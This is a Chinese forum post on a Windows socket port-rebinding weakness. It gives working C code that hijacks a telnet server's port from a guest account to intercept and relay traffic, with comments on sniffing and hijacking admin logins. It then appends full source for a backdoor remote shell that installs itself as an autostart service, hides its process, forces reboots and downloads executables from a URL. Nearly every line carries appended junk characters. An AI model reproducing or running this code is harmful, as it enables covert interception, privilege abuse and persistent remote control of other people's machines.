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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e1f^:C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h#(.(d  
p[ks} mca@  
  saddr.sin_family = AF_INET; rC=p;BC@dD  
sW>P-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?TL2'U|M  
}0k"Sw X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pur"9jHa4  
Hl%+F 0^?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -L^0-g  
y>)mSl@1y  
  这意味着什么?意味着可以进行如下的攻击: w3>Y7vxiz`  
cHqvkN`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TzD:bKE&  
o=a:L^nt,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) htdn$kqG   
~NNaLl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZaEBdBv  
:ofE8]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kMwIuy  
y1@"H/nYJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~Mg8C9B?%3  
,iA2s i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 73! x@Duh  
Y\\3g_YBF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 30gZ_ 8C>}  
C%x(`S^/  
  #include U 8qKD  
  #include 7|{%CckN  
  #include (&N$W&  
  #include     d'**wh,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o'= [<  
  int main() Ggxrj'r  
  { } (GQDJp  
  WORD wVersionRequested; KweHY,  
  DWORD ret; i?P]}JENM  
  WSADATA wsaData; -\sKSY5{R  
  BOOL val; CwCo"%E8}  
  SOCKADDR_IN saddr; I?:+~q}lZr  
  SOCKADDR_IN scaddr; 6):sO/es  
  int err; cwDD(j  
  SOCKET s; 34O+#0<y~  
  SOCKET sc; '%JMnU  
  int caddsize; .{Eg(1At  
  HANDLE mt; +Fkx")  
  DWORD tid;   ><Mbea=U+  
  wVersionRequested = MAKEWORD( 2, 2 ); )Or:wFSMq  
  err = WSAStartup( wVersionRequested, &wsaData ); )}zA,FOA*  
  if ( err != 0 ) { Qbe{/  
  printf("error!WSAStartup failed!\n"); j:vD9sdQ  
  return -1; o^.s!C%j  
  } ,XF6Xsg2  
  saddr.sin_family = AF_INET; +wf& L  
   "_% 0|;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PauFuzPP  
#L1yL<'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .q;RNCUt  
  saddr.sin_port = htons(23); `[W)6OUCx}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U:5*i  
  { !&`7  
  printf("error!socket failed!\n"); |[n|=ORI'  
  return -1; ud~VQXZo  
  } BYA=M*f  
  val = TRUE; { &JurZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }O-%kl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1J!tcj1(  
  { 5G]#'tu  
  printf("error!setsockopt failed!\n"); D4x'  
  return -1; |SJ% _#=i  
  } Zqe[2()  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A_4\$NZ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ph$&f0A6Xc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (x*2BEn|  
1>O0Iu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "~,(Xa3x  
  { f*R_\  
  ret=GetLastError(); g275{2G9  
  printf("error!bind failed!\n"); K+aJ`V  
  return -1; w|U@jr*H]  
  } TJGKQyG$L  
  listen(s,2); -iZjs  
  while(1) J~ gkGso  
  { *dn-,Q%`  
  caddsize = sizeof(scaddr); 8aM% 9OU  
  //接受连接请求 e715)_HD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 66y,{t  
  if(sc!=INVALID_SOCKET) W} +6L|  
  { oY#XWe8Om  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (UiH3Q9C]%  
  if(mt==NULL) g5TLX &Bd  
  { 3 T#3<gqM[  
  printf("Thread Creat Failed!\n"); C(Ba r#  
  break; B2+_F"<;  
  } q~A|R   
  } :WKyEt!3  
  CloseHandle(mt); ,C12SM*@  
  } (V |q\XS  
  closesocket(s); w `9GygS  
  WSACleanup(); t6U+a\-<  
  return 0; 0O 9 Lg}  
  }   :ftyNaq'  
  DWORD WINAPI ClientThread(LPVOID lpParam) L[9+xK^g  
  { Z~R/ p;@  
  SOCKET ss = (SOCKET)lpParam; ',-X#u  
  SOCKET sc; (fjXp75  
  unsigned char buf[4096]; C @[9 LB  
  SOCKADDR_IN saddr;  9%hB   
  long num; C@:N5},]  
  DWORD val; &T4Cn@  
  DWORD ret; t"@|;uPAu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5D@Q1   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q?'W >^*J  
  saddr.sin_family = AF_INET; &I">{J<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KHC(MdZ  
  saddr.sin_port = htons(23); KQy\l+\gM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :.o0<  
  { %4g4 C#  
  printf("error!socket failed!\n"); hD~/6bx  
  return -1; hCx#Heh  
  } kJ:5msKwC  
  val = 100; (TK cSVR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G37L 9IG-M  
  { R5YtCw]i=  
  ret = GetLastError(); Q0cf]  
  return -1; xuC6EK+  
  } G`<1>%" F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \>CBam8d  
  { wB 0WR  
  ret = GetLastError(); rEyMSLN  
  return -1; W2V@\  
  } z:q'?{` I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t jBv{  
  { 9#ay(g  
  printf("error!socket connect failed!\n"); < 2r#vmM  
  closesocket(sc); <L[)P{jn?p  
  closesocket(ss); H  "/e%  
  return -1; @n y{.s+  
  } +hYmL Sq  
  while(1) U%6lYna{M#  
  { A7}|VV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u(Q(UuI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _!T$|,a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l@2`f#y1~<  
  num = recv(ss,buf,4096,0); lJpv  
  if(num>0) 7VD7di=D  
  send(sc,buf,num,0); WxI]Fcb<  
  else if(num==0) I Q`aDo-V  
  break; mTu9'/$(  
  num = recv(sc,buf,4096,0); 5 BG&r*U  
  if(num>0) "alO"x8t  
  send(ss,buf,num,0); JQv ZTwSI  
  else if(num==0) Xrs~ove1V  
  break; NQ{Z   
  } gnK!"!nL  
  closesocket(ss);  0>J4O:k  
  closesocket(sc);  o?x|y   
  return 0 ; }C1}T}U  
  } 9d|7#)a;  
gM:oP.  
'r3}=z4Y  
========================================================== =|^W]2W$  
Y\2>y"8>$x  
下边附上一个代码,,WXhSHELL =<tEc+!T3  
MZ[g|o!)v  
========================================================== /60=N `i  
>~r@*gml  
#include "stdafx.h" !,WRXE&j  
n_ gB#L$  
#include <stdio.h> t$Ji{t-  
#include <string.h> Z%d4V<fn  
#include <windows.h> ]nGA1S{  
#include <winsock2.h> "s^@PzQpN  
#include <winsvc.h> DxG'/5jQ[  
#include <urlmon.h> Y\F H4}\S  
ijSYQ  
#pragma comment (lib, "Ws2_32.lib") Y'":OW#oN  
#pragma comment (lib, "urlmon.lib") DdW8~yI&  
IWd*"\L  
#define MAX_USER   100 // 最大客户端连接数 %&S]cEw  
#define BUF_SOCK   200 // sock buffer M0\[hps~X  
#define KEY_BUFF   255 // 输入 buffer S5p\J!k\B  
^@cX0_  
#define REBOOT     0   // 重启 9%veUvY  
#define SHUTDOWN   1   // 关机 N>iCb:_ T;  
D($UbT-v  
#define DEF_PORT   5000 // 监听端口 )W#g@V)>  
p 5w g+K  
#define REG_LEN     16   // 注册表键长度 Vi~+C@96  
#define SVC_LEN     80   // NT服务名长度 D*b|(Oi  
'\qr=0aW  
// 从dll定义API UYLI>XSd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dXN&<Q,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?XrTZ{5'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TUCp mj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2o}FB\4^i  
7 i\[Q8f  
// wxhshell配置信息 5Wjp_^!e  
struct WSCFG { uU"s50m  
  int ws_port;         // 监听端口 6!m#_z8qG3  
  char ws_passstr[REG_LEN]; // 口令 f2XD^:Gc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~UFsiVpL  
  char ws_regname[REG_LEN]; // 注册表键名 Qc/J"<Lx  
  char ws_svcname[REG_LEN]; // 服务名 +#9 (T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LLN^^>5|l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 msJn;(Pn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N_}Im>;!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !I$RE?7eY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sv",E@!f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w N.Jyb  
yQ2[[[@k@  
}; bsDUFXH]  
J?DyTs3 Z  
// default Wxhshell configuration )8PL7P84  
struct WSCFG wscfg={DEF_PORT, [X\2U4  
    "xuhuanlingzhe", X:bgY  
    1, ~0:c{v;4  
    "Wxhshell", (b5af_ c  
    "Wxhshell", 3_:k12%p  
            "WxhShell Service", Ue%5 :Sdr  
    "Wrsky Windows CmdShell Service", ax}Xsk_  
    "Please Input Your Password: ", ]P5u:~U  
  1, e70*y'1fu  
  "http://www.wrsky.com/wxhshell.exe", %oQj^r!Xd  
  "Wxhshell.exe" KO7cZME  
    }; s^< oU  
P]^] T}5  
// 消息定义模块 4(](' [M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HX^ P9jXT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^4i3#}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WR%iUO40  
char *msg_ws_ext="\n\rExit."; |'#NDFI>}  
char *msg_ws_end="\n\rQuit."; M1\/ueOe  
char *msg_ws_boot="\n\rReboot..."; cQb%bmBc5  
char *msg_ws_poff="\n\rShutdown..."; 3 Q;l*xu  
char *msg_ws_down="\n\rSave to "; .$;GVJ-:5  
gE#,QOy  
char *msg_ws_err="\n\rErr!"; =0|evC  
char *msg_ws_ok="\n\rOK!"; nIT=/{oyi  
*O2j<3CHf  
char ExeFile[MAX_PATH]; n_Dhq(.  
int nUser = 0; ;anG F0x  
HANDLE handles[MAX_USER]; |M&/( 0  
int OsIsNt; [sRQd;+  
-tJ*F!w6U  
SERVICE_STATUS       serviceStatus; ?U[AE -*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W@Wh@eSb;  
z9ZAY!Zhq]  
// 函数声明 ;E_{Zji_e  
int Install(void); -0Ek&"=Z^  
int Uninstall(void); wq#3f#3V  
int DownloadFile(char *sURL, SOCKET wsh);  73X]|fy  
int Boot(int flag); 4B 6Aw?  
void HideProc(void); ^} #!?" Y  
int GetOsVer(void); KYaf7qy]  
int Wxhshell(SOCKET wsl); c{q`uI;O  
void TalkWithClient(void *cs); 7v_e"[s~  
int CmdShell(SOCKET sock); A>k;o0r  
int StartFromService(void); 1-fz564  
int StartWxhshell(LPSTR lpCmdLine); Zx{'S3W  
_BV:i:z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s.R(3}/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jXQ_7  
Q)/q h;R u  
// 数据结构和表定义 i)ctrdP-  
SERVICE_TABLE_ENTRY DispatchTable[] = =r2d{  
{ H'.d'OE:I  
{wscfg.ws_svcname, NTServiceMain}, -mF9Skj  
{NULL, NULL} !ywc).]e  
}; #SmWF|/  
-1:asM7  
// 自我安装 W\ckt]'  
int Install(void) /r6DPR0\  
{ lAQ&PPQ  
  char svExeFile[MAX_PATH]; &R]G)f#w%*  
  HKEY key; {lA@I*_lj  
  strcpy(svExeFile,ExeFile); mdd~B2"el  
JB7]51WH@  
// 如果是win9x系统,修改注册表设为自启动 ]SI`fja/  
if(!OsIsNt) { Q2o:wXvj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P!/8   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uQlVzN.?  
  RegCloseKey(key); idq= US  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QK\z-'&n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * gnL0\*  
  RegCloseKey(key); slbV[xR  
  return 0; ~F-,Q_|-  
    } gQ[4{+DSf  
  } %WR  
} - U|4`{PP  
else { 3ba"[C|  
l`k3!EZDS  
// 如果是NT以上系统,安装为系统服务 (~#9KA1A}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FVHL;J]nf1  
if (schSCManager!=0) jB;+tDC!Co  
{ %A Fy{l  
  SC_HANDLE schService = CreateService bYz:gbs]4|  
  ( 7%tn+  
  schSCManager, &fcRVku  
  wscfg.ws_svcname, U"Y$7~  
  wscfg.ws_svcdisp, QB7<$Bp  
  SERVICE_ALL_ACCESS, z'm;H{xf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5BZ5Gl3  
  SERVICE_AUTO_START, d@<XR~);  
  SERVICE_ERROR_NORMAL, '"&?u8u)  
  svExeFile, A8?>V%b[Y  
  NULL, \Z$*8z=  
  NULL, n~h%K7 c  
  NULL, 3 f3?%9  
  NULL, Y 4U $?%j  
  NULL .*Z]0~ &|  
  ); .IqS}Rh  
  if (schService!=0) nsPM`dz/  
  { {_Y\Y&#  
  CloseServiceHandle(schService); \,WPFV  
  CloseServiceHandle(schSCManager); GM5::M]fS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GZ1>]HB>r^  
  strcat(svExeFile,wscfg.ws_svcname); ci!c7 ,'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IpWl;i`__  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o]vdxkU]  
  RegCloseKey(key); |G1U $p  
  return 0; fu`oDi  
    } QxK%ZaFZA  
  } *(rq AB0~  
  CloseServiceHandle(schSCManager); SF6n06UZu  
} @!S5FOXipZ  
} |qBo*OcO  
~9{.!7KPc  
return 1; K \O,AE  
} qnOAIP:0  
uJ[dO}  
// 自我卸载 \Tc$P#  
int Uninstall(void) :KQ<rLd  
{ uwbj`lpf  
  HKEY key; oyUf/ Sl  
6|zA,-=  
if(!OsIsNt) { qU"+0t4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $V[ob   
  RegDeleteValue(key,wscfg.ws_regname); 76 y}1aa  
  RegCloseKey(key); UZyo:*yB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *aSFJK  
  RegDeleteValue(key,wscfg.ws_regname); {AZW."?  
  RegCloseKey(key); az w8BK  
  return 0; Zffzyh  
  } Z'\_YbB  
} @A:Xct  
} /h_BF\VBs  
else { n@*NQ`(_  
0j*8|{|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WPPmh~:  
if (schSCManager!=0) g;-CAd5  
{ H]SnM'Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7&X^y+bMe6  
  if (schService!=0) 9N9;EY-U  
  { k]v a  
  if(DeleteService(schService)!=0) { hgm`6TQ  
  CloseServiceHandle(schService); Uu G;z5  
  CloseServiceHandle(schSCManager); N(D_*% 96  
  return 0; G,J$lT X  
  } ;&iQNXL  
  CloseServiceHandle(schService); RsE+\)  
  } /vBpRm  
  CloseServiceHandle(schSCManager); +Ta7b)  
} 6%)dsTAB  
} !4|7U\;  
1:8ZS  
return 1; "]sr4Jg=  
} zgLm~  
.7oz  
// 从指定url下载文件 [ z?<'Tj  
int DownloadFile(char *sURL, SOCKET wsh) o0AREZ+I  
{ r t f}4.  
  HRESULT hr; 291v R]  
char seps[]= "/"; <jxTI%'f59  
char *token; Up8#Nz T  
char *file; =l {>-`:  
char myURL[MAX_PATH]; 5{{u #W%=  
char myFILE[MAX_PATH]; gzeG5p  
Ra.<D.  
strcpy(myURL,sURL); <CeDIX t  
  token=strtok(myURL,seps); aaLT%  
  while(token!=NULL) IXg0g<JZ  
  { @@+\  
    file=token; y6$5meh.T  
  token=strtok(NULL,seps); Zd042 %  
  } MwiT1sB~  
 75%!R  
GetCurrentDirectory(MAX_PATH,myFILE); gg933TLu(Q  
strcat(myFILE, "\\"); xmbkn}@A  
strcat(myFILE, file); Tc{r}y[)  
  send(wsh,myFILE,strlen(myFILE),0); }y'KS:Jb  
send(wsh,"...",3,0); @zE_fL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CB|Z~_Bm  
  if(hr==S_OK) gV A$P  
return 0; KN5.2pp  
else [}.OlR3)  
return 1; ]GRPxh  
nNf/$h#;O  
} o: qB#8X  
\T>f+0=4  
// 系统电源模块 \!`*F :7]-  
int Boot(int flag) gJ:Z7b  
{ jytfGE:  
  HANDLE hToken; ZfS-W&6Z  
  TOKEN_PRIVILEGES tkp; {,,w5/k^  
6:@tHUm  
  if(OsIsNt) { uS3J^=>@(a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [@Y?'={qE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !RAyUfS  
    tkp.PrivilegeCount = 1; p.)G ],  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jgb{Tl:r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '\P6NszY~  
if(flag==REBOOT) { VDBP]LRF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8MV=?  
  return 0; iN<Tn8-YH6  
} a>6!?:Rj  
else { *SL v$A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5s`NR<|2L  
  return 0; m%ak]rv([  
} ]QRhTz  
  } d-lC|5U%  
  else { p^^E(<2  
if(flag==REBOOT) { a~WtW]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c1Xt$[_  
  return 0; ! p458~|  
} (eFHMRMv~  
else { NJwcb=*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #X`j#"Ov2(  
  return 0; % ?@PlQ  
} "2$C_aE  
} Z#%4QIz ?  
zN0^FXGD  
return 1; Y}Y2 Vx  
} !'[f!vsyM{  
^dld\t:tV7  
// win9x进程隐藏模块 [PdatL2  
void HideProc(void) vQ$FMKz7  
{ ,a_\o&V  
z1*8 5?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *q\Ve)E}  
  if ( hKernel != NULL ) Yc&yv  
  { b~z1%?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,aU_bve  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^3^n|T7le  
    FreeLibrary(hKernel); "oz qfh  
  } \IQf|  
%[l5){:05  
return; b[%sKl  
} =LC:1zn4  
q",n:=PL  
// 获取操作系统版本 De6WC*trq  
int GetOsVer(void) qn5e[Vn  
{ KQ9~\No]  
  OSVERSIONINFO winfo; W c{<DE?J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )k&<D*5s  
  GetVersionEx(&winfo); \GO^2&g(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S=*rWh8)%<  
  return 1; 7LbBS:@3z_  
  else hQv~C4Wfrf  
  return 0; 79^Y^.D  
} R%=u<O  
1k EXTs=,  
// 客户端句柄模块 IVjH.BzH9  
int Wxhshell(SOCKET wsl) x* ?-KS|  
{ Rt}H.D #  
  SOCKET wsh; zW+X5yK  
  struct sockaddr_in client; m0DD|7}+  
  DWORD myID; KmG*`Es  
W1dpKv  
  while(nUser<MAX_USER) qcSlqWDk  
{ R?V s8?  
  int nSize=sizeof(client); G~5EAeG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {N42z0c  
  if(wsh==INVALID_SOCKET) return 1; &`Oj<UyJY  
G>& Tap>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j^-E,YMC  
if(handles[nUser]==0) .76T<j_  
  closesocket(wsh); .jA'BF.  
else |`B*\\1  
  nUser++; bFD vCF  
  } w\ 4;5.$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V3r1|{Z(  
O9?t,1  
  return 0; |Ii[WfFA|J  
} 4 ;ybQ  
v'na{"  
// 关闭 socket ?y_W%og W  
void CloseIt(SOCKET wsh) HI&N&a9C  
{ 5tfD*j n  
closesocket(wsh); 1?%Q"*Y&  
nUser--; Mm7;'Zbg  
ExitThread(0); R!{^qHb  
} ?&A)%6` ~  
Lu?MRF f  
// 客户端请求句柄 G%5bQ|O  
void TalkWithClient(void *cs) $23*:)&J4  
{ W}jel}:  
G8AT] =  
  SOCKET wsh=(SOCKET)cs; paCC'*bv  
  char pwd[SVC_LEN]; :x88  
  char cmd[KEY_BUFF]; $]LhE:!G  
char chr[1]; 1 1Sflj  
int i,j; m03D+@F  
JV_VF'  
  while (nUser < MAX_USER) { @N+ }cej  
NN> E1d=  
if(wscfg.ws_passstr) {  rG[iEY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m-T@Og  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jR1t&UD3Y  
  //ZeroMemory(pwd,KEY_BUFF); '^mCLfo0}  
      i=0; 9|BH/&$  
  while(i<SVC_LEN) { d ?Uj3G  
<KY \sb9  
  // 设置超时 @2(7 ZxI  
  fd_set FdRead; [l# 8}dy  
  struct timeval TimeOut; n92*:Y  
  FD_ZERO(&FdRead); 0n dk=V  
  FD_SET(wsh,&FdRead); .h c-uaL  
  TimeOut.tv_sec=8; V Ioqn$  
  TimeOut.tv_usec=0; R%Xhdcn7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;|yd}q=p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X;:qnnO  
:)JIKP%$\)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C?dQ QB$  
  pwd=chr[0]; Odn`q=  
  if(chr[0]==0xd || chr[0]==0xa) { [7Fx#o=da  
  pwd=0; r{LrQ  
  break; }`fFzb  
  } 96ydcJY0'  
  i++; |)5xmN]  
    } Z01BzIsR  
S2+X/YeB  
  // 如果是非法用户,关闭 socket a%nksuP3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n1XJ uc~  
} mH`K~8pRg  
l7T@<V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j(xVbUa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,i]X^z5!  
I}^Q u0ub  
while(1) { r,cz yE/  
` |uwR5  
  ZeroMemory(cmd,KEY_BUFF); ;D8175px;  
K%jh 6c8  
      // 自动支持客户端 telnet标准   vM3 b\yp  
  j=0; zjE|UK{  
  while(j<KEY_BUFF) { v 79k{<Ln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S[zETRSG  
  cmd[j]=chr[0]; mv,p*0  
  if(chr[0]==0xa || chr[0]==0xd) { sh#hDU/</  
  cmd[j]=0; \:mZ)f3K=  
  break; TKH!,Ow9A  
  } qX9x#92  
  j++; L.ML0H-   
    } ^WF/gup\hS  
Q$bi:EyJXc  
  // 下载文件 1 lZRi-P  
  if(strstr(cmd,"http://")) { [LF<aR5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^QG;:.3v  
  if(DownloadFile(cmd,wsh)) h4,g pV>t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q9 S V<qg  
  else ~7 w"$H8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kO3N.t@n  
  } )swu~Wb}U@  
  else { X;/5Niv32q  
e0Jz|?d=  
    switch(cmd[0]) { `*Ju0)g1  
  1Zo"Xb  
  // 帮助 8pXului  
  case '?': { /LK,:6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2%Mgg,/~  
    break; $-w&<U$E  
  } "7z1V{ ;Y  
  // 安装 /_(q7:<ZF  
  case 'i': { w;p~|!  
    if(Install()) alp}p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:OI]x4  
    else q?##S'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;h~v,h  
    break; EP'I  
    } ']&rPv kL  
  // 卸载 zz m[sX}  
  case 'r': { x{_3/4  
    if(Uninstall()) <| =^['vi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=5}u&\   
    else WU +OS(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |& Pa`=sp  
    break; BcaX:C?f  
    } 4\Q pS  
  // 显示 wxhshell 所在路径 ix+sT|>  
  case 'p': { 0ZAT;eaB  
    char svExeFile[MAX_PATH]; <=Z`]8  
    strcpy(svExeFile,"\n\r"); U(6=;+q  
      strcat(svExeFile,ExeFile); I xk+y?  
        send(wsh,svExeFile,strlen(svExeFile),0); MszX9wl  
    break; al1Nmc #  
    } hk.vBbhs  
  // 重启 $8{v_2C){  
  case 'b': { y[A%EMd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q!R eA{  
    if(Boot(REBOOT)) o6ag{Yp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #a+*u?jnnL  
    else { AuIg=-xR  
    closesocket(wsh); )`,Y ^`F2  
    ExitThread(0); =\FV_4)  
    } D.ERt)l>  
    break; +:ih`q][b  
    } b[Qe} `W  
  // 关机 ^ rh{  
  case 'd': { 0-at#r:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D!WyT`T  
